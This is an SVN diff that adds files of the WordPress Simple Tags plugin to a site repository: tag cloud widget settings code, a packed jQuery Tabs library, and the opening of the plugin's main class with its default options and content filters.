+		} else {
+			$args .= '&cloud_selection=count-desc';
+		}
+
+		// Order
+		$order = trim(strtolower($options[$number]['order']));
+		if ( !empty($order) ) {
+			$args .= '&cloud_sort='.$order;
+		} else {
+			$args .= '&cloud_sort=random';
+		}
+
+		// Max tags
+		$max = (int) $options[$number]['max'];
+		if ( $max != 0 ) {
+			$args .= '&number='.$max;
+		}
+
+		// Size Mini
+		$smini = (int) $options[$number]['smini'];
+		if ( $smini != 0 ) {
+			$args .= '&smallest='.$smini;
+		}
+
+		// Size Maxi
+		$smax = (int) $options[$number]['smax'];
+		if ( $smax != 0 ) {
+			$args .= '&largest='.$smax;
+		}
+
+		// Unit
+		$unity = trim($options[$number]['unit']);
+		if ( !empty($unity) ) {
+			$args .= '&unit='.$unity;
+		}
+
+		// Format
+		$format = trim($options[$number]['format']);
+		if ( !empty($format) ) {
+			$args .= '&format='.$format;
+		}
+
+		// Use color ?
+		$color = (int) $options[$number]['color'];
+		if ( $color == 0 ) {
+			$args .= '&color=false';
+		}
+
+		// Color mini
+		$cmini = trim($options[$number]['cmini']);
+		if ( !empty($cmini) ) {
+			$args .= '&mincolor='.$cmini;
+		}
+
+		// Color Max
+		$cmax = trim($options[$number]['cmax']);
+		if ( !empty($cmax) ) {
+			$args .= '&maxcolor='.$cmax;
+		}
+
+		// Xformat
+		$xformat = trim($options[$number]['xformat']);
+		if ( !empty($xformat) ) {
+			$args .= '&xformat='.$xformat;
+		}
+
+		// Use custom title with Widgets Title
+		$title = trim($options[$number]['title']);
+		
+		echo $before_widget;
+		echo $before_title . $title . $after_title;
+		st_tag_cloud($args);
+		echo $after_widget;
+	}
+
+	function widget_st_tag_cloud_control( $number ) {
+		// Get actual options
+		$options = $newoptions = get_option('widget_stags_cloud');
+		if ( !is_array($options) ) {
+			$options = $newoptions = array();
+		}
+
+		// Post to new options array
+		if ( isset($_POST['widget-stags-submit-'.$number]) ) {
+			$newoptions[$number]['title'] = strip_tags(stripslashes($_POST['widget-stags-title-'.$number]));
+			$newoptions[$number]['max'] = (int) stripslashes($_POST['widget-stags-max-'.$number]);
+			$newoptions[$number]['selection'] = stripslashes($_POST['widget-stags-selection-'.$number]);
+			$newoptions[$number]['order'] = stripslashes($_POST['widget-stags-order-'.$number]);
+			$newoptions[$number]['smini'] = (int) stripslashes($_POST['widget-stags-smini-'.$number]);
+			$newoptions[$number]['smax'] = (int) stripslashes($_POST['widget-stags-smax-'.$number]);
+			$newoptions[$number]['unit'] = stripslashes($_POST['widget-stags-unit-'.$number]);
+			$newoptions[$number]['format'] = stripslashes($_POST['widget-stags-format-'.$number]);
+			$newoptions[$number]['color'] = (int) stripslashes($_POST['widget-stags-color-'.$number]);
+			$newoptions[$number]['cmini'] = stripslashes($_POST['widget-stags-cmini-'.$number]);
+			$newoptions[$number]['cmax'] = stripslashes($_POST['widget-stags-cmax-'.$number]);
+			$newoptions[$number]['xformat'] = stripslashes($_POST['widget-stags-xformat-'.$number]);
+		}
+
+		// Update if new options
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_stags_cloud', $options);
+		}
+
+		// Prepare data for display
+		$title = htmlspecialchars($options[$number]['title'], ENT_QUOTES);
+		$max = htmlspecialchars($options[$number]['max'], ENT_QUOTES);
+		$selection = htmlspecialchars($options[$number]['selection'], ENT_QUOTES);
+		$order = htmlspecialchars($options[$number]['order'], ENT_QUOTES);
+		$smini = htmlspecialchars($options[$number]['smini'], ENT_QUOTES);
+		$smax = htmlspecialchars($options[$number]['smax'], ENT_QUOTES);
+		$unit = htmlspecialchars($options[$number]['unit'], ENT_QUOTES);
+		$format = htmlspecialchars($options[$number]['format'], ENT_QUOTES);
+		$color = htmlspecialchars($options[$number]['color'], ENT_QUOTES);
+		$cmini = htmlspecialchars($options[$number]['cmini'], ENT_QUOTES);
+		$cmax = htmlspecialchars($options[$number]['cmax'], ENT_QUOTES);
+		$xformat= htmlspecialchars($options[$number]['xformat'], ENT_QUOTES);
+		?>
+		<div>
+			<p><?php _e('Empty field will use default value.', 'simpletags'); ?></p>
+
+			<label for="widget-stags-title-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Title:', 'simpletags'); ?><br />
+				<input style="width: 100% !important;" type="text" id="widget-stags-title-<?php echo $number; ?>" name="widget-stags-title-<?php echo $number; ?>" value="<?php echo $title; ?>" />
+			</label>
+
+			<label for="widget-stags-max-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Max tags to display: (default: 45)', 'simpletags'); ?>
+				<input size="20" type="text" id="widget-stags-max-<?php echo $number; ?>" name="widget-stags-max-<?php echo $number; ?>" value="<?php echo $max; ?>" />
+			</label>
+
+			<label for="widget-stags-selection-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Tags selection:', 'simpletags'); ?>
+				<select id="widget-stags-selection-<?php echo $number; ?>" name="widget-stags-selection-<?php echo $number; ?>">
+					<option <?php if ( $selection == 'name-asc' ) echo 'selected="selected"'; ?> value="name-asc"><?php _e('Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'name-desc' ) echo 'selected="selected"'; ?> value="name-desc"><?php _e('Inverse Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'count-desc' ) echo 'selected="selected"'; ?> value="count-desc"><?php _e('Most popular (default)', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'count-asc' ) echo 'selected="selected"'; ?> value="count-asc"><?php _e('Least used', 'simpletags'); ?></option>
+					<option <?php if ( $selection == 'random' ) echo 'selected="selected"'; ?> value="random"><?php _e('Random', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-order-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Order tags display:', 'simpletags'); ?>
+				<select id="widget-stags-order-<?php echo $number; ?>" name="widget-stags-order-<?php echo $number; ?>">
+					<option <?php if ( $order == 'name-asc' ) echo 'selected="selected"'; ?> value="name-asc"><?php _e('Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'name-desc' ) echo 'selected="selected"'; ?> value="name-desc"><?php _e('Inverse Alphabetical', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'count-desc' ) echo 'selected="selected"'; ?> value="count-desc"><?php _e('Most popular', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'count-asc' ) echo 'selected="selected"'; ?> value="count-asc"><?php _e('Least used', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'random' ) echo 'selected="selected"'; ?> value="random"><?php _e('Random (default)', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-smini-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font size mini: (default: 8)', 'simpletags'); ?>
+				<input size="20"  type="text" id="widget-stags-smini-<?php echo $number; ?>" name="widget-stags-smini-<?php echo $number; ?>" value="<?php echo $smini; ?>" />
+			</label>
+
+			<label for="widget-stags-smax-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font size max: (default: 22)', 'simpletags'); ?>
+				<input size="20" type="text" id="widget-stags-smax-<?php echo $number; ?>" name="widget-stags-smax-<?php echo $number; ?>" value="<?php echo $smax; ?>" />
+			</label>
+
+			<label for="widget-stags-unit-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Unit font size:', 'simpletags'); ?>
+				<select id="widget-stags-unit-<?php echo $number; ?>" name="widget-stags-unit-<?php echo $number; ?>">
+					<option <?php if ( $unit == 'pt' ) echo 'selected="selected"'; ?> value="pt"><?php _e('Point (default)', 'simpletags'); ?></option>
+					<option <?php if ( $unit == 'px' ) echo 'selected="selected"'; ?> value="px"><?php _e('Pixel', 'simpletags'); ?></option>
+					<option <?php if ( $unit == 'em' ) echo 'selected="selected"'; ?> value="em"><?php _e('Em', 'simpletags'); ?></option>
+					<option <?php if ( $unit == '%' ) echo 'selected="selected"'; ?> value="%"><?php _e('Pourcent', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-format-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Format:', 'simpletags'); ?>
+				<select id="widget-stags-format-<?php echo $number; ?>" name="widget-stags-format-<?php echo $number; ?>">
+					<option <?php if ( $format == 'flat' ) echo 'selected="selected"'; ?> value="flat"><?php _e('Flat (default)', 'simpletags'); ?></option>
+					<option <?php if ( $format == 'list' ) echo 'selected="selected"'; ?> value="list"><?php _e('List (UL/LI)', 'simpletags'); ?></option>
+				</select>
+			</label>
+
+			<label for="widget-stags-color-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<input type="checkbox" id="widget-stags-color-<?php echo $number; ?>" name="widget-stags-color-<?php echo $number; ?>" <?php if ( $color == 1 ) echo 'checked="checked"'; ?> value="1" />
+				<?php _e('Use auto color cloud:', 'simpletags'); ?>
+			</label>
+
+			<label for="widget-stags-cmini-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font color mini: (default: #CCCCCC)', 'simpletags'); ?>
+				<input type="text" id="widget-stags-cmini-<?php echo $number; ?>" name="widget-stags-cmini-<?php echo $number; ?>" value="<?php echo $cmini; ?>" />
+			</label>
+
+			<label for="widget-stags-cmax-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Font color max: (default: #000000)', 'simpletags'); ?>
+				<input type="text" id="widget-stags-cmax-<?php echo $number; ?>" name="widget-stags-cmax-<?php echo $number; ?>" value="<?php echo $cmax; ?>" />
+			</label>
+
+			<label for="widget-stags-xformat-<?php echo $number; ?>" style="line-height:35px;display:block;">
+				<?php _e('Extended format: (advanced usage)', 'simpletags'); ?><br />
+				<input style="width: 100% !important;" type="text" id="widget-stags-xformat-<?php echo $number; ?>" name="widget-stags-xformat-<?php echo $number; ?>" value="<?php echo $xformat; ?>" />
+			</label>
+
+			<input type="hidden" name="widget-stags-submit-<?php echo $number; ?>" id="widget-stags-submit-<?php echo $number; ?>" value="1" />
+		</div>
+		<?php
+	}
+
+	function st_tag_cloud_setup() {
+		$options = $newoptions = get_option('widget_stags_cloud');
+		if ( isset($_POST['stags_cloud-number-submit']) ) {
+			$newoptions['number'] = (int) $_POST['stags_cloud-number'];
+			if ( $newoptions['number'] > 9 ) {
+				$newoptions['number'] = 9;
+			} elseif ( $newoptions['number'] < 1 ) {
+				$newoptions['number'] = 1;
+			}
+		}
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_stags_cloud', $options);
+			widget_st_tag_cloud_register($options['number']);
+		}
+	}
+
+	function st_tag_cloud_page() {
+		$options = get_option('widget_stags_cloud');
+		?>
+			<div class="wrap">
+				<form method="post">
+					<h2><?php _e('Tag Cloud Widgets', 'simpletags'); ?></h2>
+					<p style="line-height: 30px;"><?php _e('How many tag cloud widgets would you like?', 'simpletags'); ?>
+						<select id="stags_cloud-number" name="stags_cloud-number" value="<?php echo $options['number']; ?>">
+							<?php for ( $i = 1; $i < 10; ++$i ) echo "<option value='$i' ".($options['number']==$i ? "selected='selected'" : '').">$i</option>"; ?>
+						</select>
+						<span class="submit"><input type="submit" name="stags_cloud-number-submit" id="stags_cloud-number-submit" value="<?php echo attribute_escape(__('Save', 'simpletags')); ?>" /></span></p>
+				</form>
+			</div>
+		<?php
+	}
+
+	function widget_st_tag_cloud_register() {
+		$options = get_option('widget_stags_cloud');
+
+		$number = (int) $options['number'];
+		if ( $number < 1 ) {
+			$number = 1;
+		} elseif ( $number > 9 ) {
+			$number = 9;
+		}
+
+		for ( $i = 1; $i <= 9; $i++ ) {
+			wp_register_sidebar_widget('widget_stags-'.$i, sprintf(__('Extended Tag Cloud %d', 'simpletags'), $i), $i <= $number ? 'widget_st_tag_cloud' : '', array('classname' => 'widget_stags_cloud'), $i);
+			wp_register_widget_control('widget_stags-'.$i, sprintf(__('Extended Tag Cloud %d', 'simpletags'), $i), $i <= $number ? 'widget_st_tag_cloud_control' : '', array('width' => 460, 'height' => 520), $i);
+		}
+
+		add_action('sidebar_admin_setup', 'st_tag_cloud_setup');
+		add_action('sidebar_admin_page', 'st_tag_cloud_page');
+	}
+
+	// Launch Widgets
+	widget_st_tag_cloud_register();
+}
+
+// Initialize !
+widget_st_tag_cloud_init();
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/tabs/jquery.tabs.pack.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/tabs/jquery.tabs.pack.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/tabs/jquery.tabs.pack.js	(revision 44)
@@ -0,0 +1,14 @@
+/**
+ * Tabs - jQuery plugin for accessible, unobtrusive tabs
+ * @requires jQuery v1.1.1
+ *
+ * http://stilbuero.de/tabs/
+ *
+ * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
+ * Dual licensed under the MIT and GPL licenses:
+ * http://www.opensource.org/licenses/mit-license.php
+ * http://www.gnu.org/licenses/gpl.html
+ *
+ * Version: 2.7.4
+ */
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(4($){$.2l({z:{2k:0}});$.1P.z=4(x,w){3(O x==\'2Y\')w=x;w=$.2l({K:(x&&O x==\'1Z\'&&x>0)?--x:0,12:C,J:$.1f?2h:T,18:T,1r:\'2X&#2Q;\',21:\'18-2F-\',1m:C,1u:C,1l:C,1F:C,1x:\'2u\',2r:C,2p:C,2m:T,2i:C,1d:C,1c:C,1j:\'z-1M\',H:\'z-2b\',14:\'z-12\',16:\'z-26\',1q:\'z-1H\',1L:\'z-2L\',2j:\'10\'},w||{});$.8.1D=$.8.U&&($.8.1Y&&$.8.1Y<7||/2A 6.0/.2y(2x.2w));4 1w(){1V(0,0)}F 5.Y(4(){2 p=5;2 r=$(\'13.\'+w.1j,p);r=r.V()&&r||$(\'>13:9(0)\',p);2 j=$(\'a\',r);3(w.18){j.Y(4(){2 c=w.21+(++$.z.2k),B=\'#\'+c,2f=5.1O;5.1O=B;$(\'<10 S="\'+c+\'" 34="\'+w.16+\'"></10>\').2c(p);$(5).19(\'1B\',4(e,a){2 b=$(5).I(w.1L),X=$(\'X\',5)[0],27=X.1J;3(w.1r){X.1J=\'<24>\'+w.1r+\'</24>\'}1p(4(){$(B).2T(2f,4(){3(w.1r){X.1J=27}b.17(w.1L);a&&a()})},0)})})}2 n=$(\'10.\'+w.16,p);n=n.V()&&n||$(\'>\'+w.2j,p);r.P(\'.\'+w.1j)||r.I(w.1j);n.Y(4(){2 a=$(5);a.P(\'.\'+w.16)||a.I(w.16)});2 s=$(\'A\',r).20($(\'A.\'+w.H,r)[0]);3(s>=0){w.K=s}3(1e.B){j.Y(4(i){3(5.B==1e.B){w.K=i;3(($.8.U||$.8.2E)&&!w.18){2 a=$(1e.B);2 b=a.15(\'S\');a.15(\'S\',\'\');1p(4(){a.15(\'S\',b)},2D)}1w();F T}})}3($.8.U){1w()}n.1a(\':9(\'+w.K+\')\').1C().1n().2C(\':9(\'+w.K+\')\').I(w.1q);$(\'A\',r).17(w.H).9(w.K).I(w.H);j.9(w.K).N(\'1B\').1n();3(w.2m){2 l=4(d){2 c=$.2B(n.1t(),4(a){2 h,1A=$(a);3(d){3($.8.1D){a.Z.2z(\'1X\');a.Z.G=\'\';a.1k=C}h=1A.L({\'1h-G\':\'\'}).G()}E{h=1A.G()}F h}).2v(4(a,b){F b-a});3($.8.1D){n.Y(4(){5.1k=c[0]+\'1W\';5.Z.2t(\'1X\',\'5.Z.G = 5.1k ? 5.1k : "2s"\')})}E{n.L({\'1h-G\':c[0]+\'1W\'})}};l();2 q=p.1U;2 m=p.1v;2 v=$(\'#z-2q-2o-V\').1t(0)||$(\'<X S="z-2q-2o-V">M</X>\').L({1T:\'2n\',3a:\'39\',38:\'37\'}).2c(Q.1S).1t(0);2 o=v.1v;36(4(){2 b=p.1U;2 a=p.1v;2 c=v.1v;3(a>m||b!=q||c!=o){l((b>q||c<o));q=b;m=a;o=c}},35)}2 u={},11={},1R=w.2r||w.1x,1Q=w.2p||w.1x;3(w.1u||w.1m){3(w.1u){u[\'G\']=\'1C\';11[\'G\']=\'1H\'}3(w.1m){u[\'W\']=\'1C\';11[\'W\']=\'1H\'}}E{3(w.1l){u=w.1l}E{u[\'1h-2g\']=0;1R=1}3(w.1F){11=w.1F}E{11[\'1h-2g\']=0;1Q=1}}2 t=w.2i,1d=w.1d,1c=w.1c;j.19(\'2e\',4(){2 c=$(5).1g(\'A:9(0)\');3(p.1i||c.P(\'.\'+w.H)||c.P(\'.\'+w.14)){F T}2 a=5.B;3($.8.U){$(5).N(\'1b\');3(w.J){$.1f.1N(a);1e.B=a.1z(\'#\',\'\')}}E 3($.8.1y){2 b=$(\'<2d 33="\'+a+\'"><10><32 31="2a" 30="h" /></10></2d>\').1t(0);b.2a();$(5).N(\'1b\');3(w.J){$.1f.1N(a)}}E{3(w.J){1e.B=a.1z(\'#\',\'\')}E{$(5).N(\'1b\')}}});j.19(\'1E\',4(){2 a=$(5).1g(\'A:9(0)\');3($.8.1y){a.1o({W:0},1,4(){a.L({W:\'\'})})}a.I(w.14)});3(w.12&&w.12.1K){29(2 i=0,k=w.12.1K;i<k;i++){j.9(--w.12[i]).N(\'1E\').1n()}};j.19(\'28\',4(){2 a=$(5).1g(\'A:9(0)\');a.17(w.14);3($.8.1y){a.1o({W:1},1,4(){a.L({W:\'\'})})}});j.19(\'1b\',4(e){2 g=e.2Z;2 d=5,A=$(5).1g(\'A:9(0)\'),D=$(5.B),R=n.1a(\':2W\');3(p[\'1i\']||A.P(\'.\'+w.H)||A.P(\'.\'+w.14)||O t==\'4\'&&t(5,D[0],R[0])===T){5.25();F T}p[\'1i\']=2h;3(D.V()){3($.8.U&&w.J){2 c=5.B.1z(\'#\',\'\');D.15(\'S\',\'\');1p(4(){D.15(\'S\',c)},0)}2 f={1T:\'\',2V:\'\',G:\'\'};3(!$.8.U){f[\'W\']=\'\'}4 1I(){3(w.J&&g){$.1f.1N(d.B)}R.1o(11,1Q,4(){$(d).1g(\'A:9(0)\').I(w.H).2U().17(w.H);R.I(w.1q).L(f);3(O 1d==\'4\'){1d(d,D[0],R[0])}3(!(w.1u||w.1m||w.1l)){D.L(\'1T\',\'2n\')}D.1o(u,1R,4(){D.17(w.1q).L(f);3($.8.U){R[0].Z.1a=\'\';D[0].Z.1a=\'\'}3(O 1c==\'4\'){1c(d,D[0],R[0])}p[\'1i\']=C})})}3(!w.18){1I()}E{$(d).N(\'1B\',[1I])}}E{2S(\'2R P 2P 2O 26.\')}2 a=1G.2N||Q.1s&&Q.1s.23||Q.1S.23||0;2 b=1G.2M||Q.1s&&Q.1s.22||Q.1S.22||0;1p(4(){1G.1V(a,b)},0);5.25();F w.J&&!!g});3(w.J){$.1f.2K(4(){j.9(w.K).N(\'1b\').1n()})}})};2 y=[\'2e\',\'1E\',\'28\'];29(2 i=0;i<y.1K;i++){$.1P[y[i]]=(4(d){F 4(c){F 5.Y(4(){2 b=$(\'13.z-1M\',5);b=b.V()&&b||$(\'>13:9(0)\',5);2 a;3(!c||O c==\'1Z\'){a=$(\'A a\',b).9((c&&c>0&&c-1||0))}E 3(O c==\'2J\'){a=$(\'A a[@1O$="#\'+c+\'"]\',b)}a.N(d)})}})(y[i])}$.1P.2I=4(){2 c=[];5.Y(4(){2 a=$(\'13.z-1M\',5);a=a.V()&&a||$(\'>13:9(0)\',5);2 b=$(\'A\',a);c.2H(b.20(b.1a(\'.z-2b\')[0])+1)});F c[0]}})(2G);',62,197,'||var|if|function|this|||browser|eq||||||||||||||||||||||||||tabs|li|hash|null|toShow|else|return|height|selectedClass|addClass|bookmarkable|initial|css||trigger|typeof|is|document|toHide|id|false|msie|size|opacity|span|each|style|div|hideAnim|disabled|ul|disabledClass|attr|containerClass|removeClass|remote|bind|filter|click|onShow|onHide|location|ajaxHistory|parents|min|locked|navClass|minHeight|fxShow|fxFade|end|animate|setTimeout|hideClass|spinner|documentElement|get|fxSlide|offsetHeight|unFocus|fxSpeed|safari|replace|jq|loadRemoteTab|show|msie6|disableTab|fxHide|window|hide|switchTab|innerHTML|length|loadingClass|nav|update|href|fn|hideSpeed|showSpeed|body|display|offsetWidth|scrollTo|px|behaviour|version|number|index|hashPrefix|scrollTop|scrollLeft|em|blur|container|tabTitle|enableTab|for|submit|selected|appendTo|form|triggerTab|url|width|true|onClick|tabStruct|remoteCount|extend|fxAutoHeight|block|font|fxHideSpeed|watch|fxShowSpeed|1px|setExpression|normal|sort|userAgent|navigator|test|removeExpression|MSIE|map|not|500|opera|tab|jQuery|push|activeTab|string|initialize|loading|pageYOffset|pageXOffset|such|no|8230|There|alert|load|siblings|overflow|visible|Loading|object|clientX|value|type|input|action|class|50|setInterval|hidden|visibility|absolute|position'.split('|'),0,{}))
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/simple-tags.client.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/simple-tags.client.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/simple-tags.client.php	(revision 44)
@@ -0,0 +1,2061 @@
+<?php
+Class SimpleTags {
+	var $version = '1.5.6 - 1.3.9.5';
+
+	var $info;
+	var $options;
+	var $default_options;
+	var $db_options = 'simpletags';
+	var $dateformat;
+
+	// Stock Post ID for current view
+	var $posts = array();
+	var $tags_currentposts = array();
+	var $link_tags = 'null';
+	
+	// WP Object Cache
+	var $use_cache = false;
+
+	/**
+	 * PHP4 constructor - Initialize ST
+	 *
+	 * @return SimpleTags
+	 */
+	function SimpleTags() {		
+		// Determine installation path & url
+		$path = str_replace('\\','/',dirname(__FILE__));		
+		$path = substr($path, strpos($path, 'plugins') + 8, strlen($path));
+
+		$info['siteurl'] = get_option('siteurl');
+		if ( $this->isMuPlugin() ) {
+			$info['install_url'] = $info['siteurl'] . '/wp-content/mu-plugins';
+			$info['install_dir'] = ABSPATH . 'wp-content/mu-plugins';
+
+			if ( $path != 'mu-plugins' ) {
+				$info['install_url'] .= '/' . $path;
+				$info['install_dir'] .= '/' . $path;
+			}
+		} else {
+			$info['install_url'] = $info['siteurl'] . '/wp-content/plugins';
+			$info['install_dir'] = ABSPATH . 'wp-content/plugins';
+
+			if ( $path != 'plugins' ) {
+				$info['install_url'] .= '/' . $path;
+				$info['install_dir'] .= '/' . $path;
+			}
+		}
+
+		// Set informations
+		$this->info = array(
+			'home' => get_option('home'),
+			'siteurl' => $info['siteurl'],
+			'install_url' => $info['install_url'],
+			'install_dir' => $info['install_dir']
+		);
+		unset($info);
+	
+		// Localization
+		$locale = get_locale();
+		if ( !empty( $locale ) ) {
+			$mofile = str_replace('/2.3', '', $this->info['install_dir']).'/languages/simpletags-'.$locale.'.mo';
+			load_textdomain('simpletags', $mofile);
+		}
+		
+		// Options
+		$default_options = array(
+			// General
+			'inc_page_tag_search' => 1,
+			'allow_embed_tcloud' => 0,
+			'auto_link_tags' => 0,
+			'auto_link_min' => 1,
+			'auto_link_case' => 1,
+			'no_follow' => 0,
+			// Administration
+			'use_tag_pages' => 1,
+			'use_click_tags' => 1,
+			'use_suggested_tags' => 1,
+			'use_autocompletion' => 1,
+			// Embedded Tags			
+			'use_embed_tags' => 0,
+			'start_embed_tags' => '[tags]',
+			'end_embed_tags' => '[/tags]',
+			// Related Posts
+			'rp_feed' => 0,
+			'rp_embedded' => 'no',
+			'rp_order' => 'count-desc',
+			'rp_limit_qty' => 5,
+			'rp_notagstext' => __('No related posts.', 'simpletags'),
+			'rp_title' => __('<h4>Related posts</h4>', 'simpletags'),
+			'rp_xformat' => __('<a href="%post_permalink%" title="%post_title% (%post_date%)">%post_title%</a> (%post_comment%)', 'simpletags'),
+			'rp_adv_usage' => '',
+			// Tag cloud
+			'cloud_selection' => 'count-desc',
+			'cloud_sort' => 'random',
+			'cloud_limit_qty' => 45,
+			'cloud_notagstext' => __('No tags.', 'simpletags'),
+			'cloud_title' => __('<h4>Tag Cloud</h4>', 'simpletags'),
+			'cloud_format' => 'flat',
+			'cloud_xformat' => __('<a href="%tag_link%" id="tag-link-%tag_id%" class="st-tags t%tag_scale%" title="%tag_count% topics" %tag_rel% style="%tag_size% %tag_color%">%tag_name%</a>', 'simpletags'),
+			'cloud_max_color' => '#000000',
+			'cloud_min_color' => '#CCCCCC',
+			'cloud_max_size' => 22,
+			'cloud_min_size' => 8,
+			'cloud_unit' => 'pt',
+			'cloud_inc_cats' => 0,
+			'cloud_adv_usage' => '',
+			// The tags
+			'tt_feed' => 0,
+			'tt_embedded' => 'no',
+			'tt_separator' => ', ',
+			'tt_before' => __('Tags: ', 'simpletags'),
+			'tt_after' => '<br />',
+			'tt_notagstext' => __('No tag for this post.', 'simpletags'),
+			'tt_number' => 0,
+			'tt_inc_cats' => 0,
+			'tt_xformat' => __('<a href="%tag_link%" title="%tag_name%" %tag_rel%>%tag_name%</a>', 'simpletags'),
+			'tt_adv_usage' => '',
+			// Related tags
+			'rt_number' => 5,
+			'rt_order' => 'count-desc',
+			'rt_separator' => ' ',
+			'rt_format' => 'list',
+			'rt_method' => 'OR',
+			'rt_title' => __('<h4>Related tags</h4>', 'simpletags'),
+			'rt_notagstext' => __('No related tag found.', 'simpletags'),
+			'rt_xformat' => __('<span>%tag_count%</span> <a href="%tag_link_add%">+</a> <a href="%tag_link%">%tag_name%</a>', 'simpletags'),
+			// Remove related tags
+			'rt_remove_separator' => ' ',
+			'rt_remove_format' => 'list',
+			'rt_remove_notagstext' => ' ',
+			'rt_remove_xformat' => __('&raquo; <a href="%tag_link_remove%" title="Remove %tag_name_attribute% from search">Remove %tag_name%</a>', 'simpletags'),
+			// Meta keywords
+			'meta_autoheader' => 1,
+			'meta_always_include' => '',
+			'meta_keywords_qty' => 0,
+			// Auto tags
+			'use_auto_tags' => 0,
+			'at_all' => 0,
+			'at_empty' => 0,
+			'auto_list' => ''
+		);
+
+		// Set class property for default options
+		$this->default_options = $default_options;
+
+		// Get options from WP options
+		$options_from_table = get_option( $this->db_options );
+
+		// Update default options by getting not empty values from options table
+		foreach( (array) $default_options as $default_options_name => $default_options_value ) {
+			if ( !is_null($options_from_table[$default_options_name]) ) {
+				if ( is_int($default_options_value) ) {
+					$default_options[$default_options_name] = (int) $options_from_table[$default_options_name];
+				} else {
+					$default_options[$default_options_name] = $options_from_table[$default_options_name];
+				}
+			}
+		}
+
+		// Set the class property and unset no used variable
+		$this->options = $default_options;
+		unset($default_options);
+		unset($options_from_table);
+		unset($default_options_value);
+		
+		// Use WP Object ? Or not ?
+		global $wp_object_cache;
+		$this->use_cache = ( $wp_object_cache->cache_enabled === true ) ? true : false;
+
+		// Set date for class
+		$this->dateformat = get_option('date_format');
+
+		// Add pages in WP_Query
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			// Remove default taxonomy
+			global $wp_taxonomies;
+			unset($wp_taxonomies['post_tag']);
+			// Add the same taxonomy with an another callback who allow page and post
+			register_taxonomy( 'post_tag', 'post', array('hierarchical' => false, 'update_count_callback' => array(&$this, '_update_post_and_page_term_count')) );
+			add_filter('posts_where', array(&$this, 'prepareQuery'));
+		}
+
+		// Remove embedded tags in posts display
+		if ( $this->options['use_embed_tags'] == 1 ) {
+			add_filter('the_content', array(&$this, 'filterEmbedTags'), 0);
+		}
+
+		// Add related posts in post ( all / feedonly / blogonly / homeonly / singularonly / singleonly / pageonly /no )
+		if ( $this->options['tt_embedded'] != 'no' || $this->options['tt_feed'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlinePostTags'), 999992);
+		}
+
+		// Add post tags in post ( all / feedonly / blogonly / homeonly / singularonly / singleonly / pageonly /no )
+		if ( $this->options['rp_embedded'] != 'no' || $this->options['rp_feed'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlineRelatedPosts'), 999993);
+		}
+
+		// Embedded tag cloud
+		if ( $this->options['allow_embed_tcloud'] == 1 ) {
+			add_filter('the_content', array(&$this, 'inlineTagCloud'));
+		}
+
+		// Stock Posts ID (useful for autolink and metakeywords)
+		add_filter( 'the_posts', array(&$this, 'getPostIds') );
+
+		// Add keywords to header
+		if ( ( $this->options['meta_autoheader'] == 1 && !class_exists('All_in_One_SEO_Pack') && apply_filters('st_meta_header', true) ) ) {
+			add_action('wp_head', array(&$this, 'displayMetaKeywords'));
+		}
+
+		// Auto link tags
+		if ( $this->options['auto_link_tags'] == '1' ) {
+			add_filter('the_content', array(&$this, 'autoLinkTags'), 9);
+		}
+		return true;
+	}
+	
+	/**
+	 * Get links for each tag for auto link feature
+	 *
+	 */
+	function prepareAutoLinkTags() {
+		$this->getTagsFromCurrentPosts();
+		
+		$auto_link_min = (int) $this->options['auto_link_min'];
+		if ( $auto_link_min == 0 ) {
+			$auto_link_min = 1;		
+		}
+
+		$this->link_tags = array();
+		foreach ( (array) $this->tags_currentposts as $term ) {
+			if  ( $term->count >= $auto_link_min ) {
+	 			$this->link_tags[$term->name] = clean_url(get_tag_link( $term->term_id ));
+			}
+		}
+		return;
+	}
+		
+	function autoLinkTags( $content = '' ) {
+		// ST Prefix/Suffix content
+		$content = '<div>'.$content.'</div>';
+		
+		// Get currents tags if no exists
+		if ( $this->link_tags == 'null' ) {
+			$this->prepareAutoLinkTags();
+		}
+		
+		// HTML Rel (tag/no-follow)
+		$rel = '';
+		
+		global $wp_rewrite; 
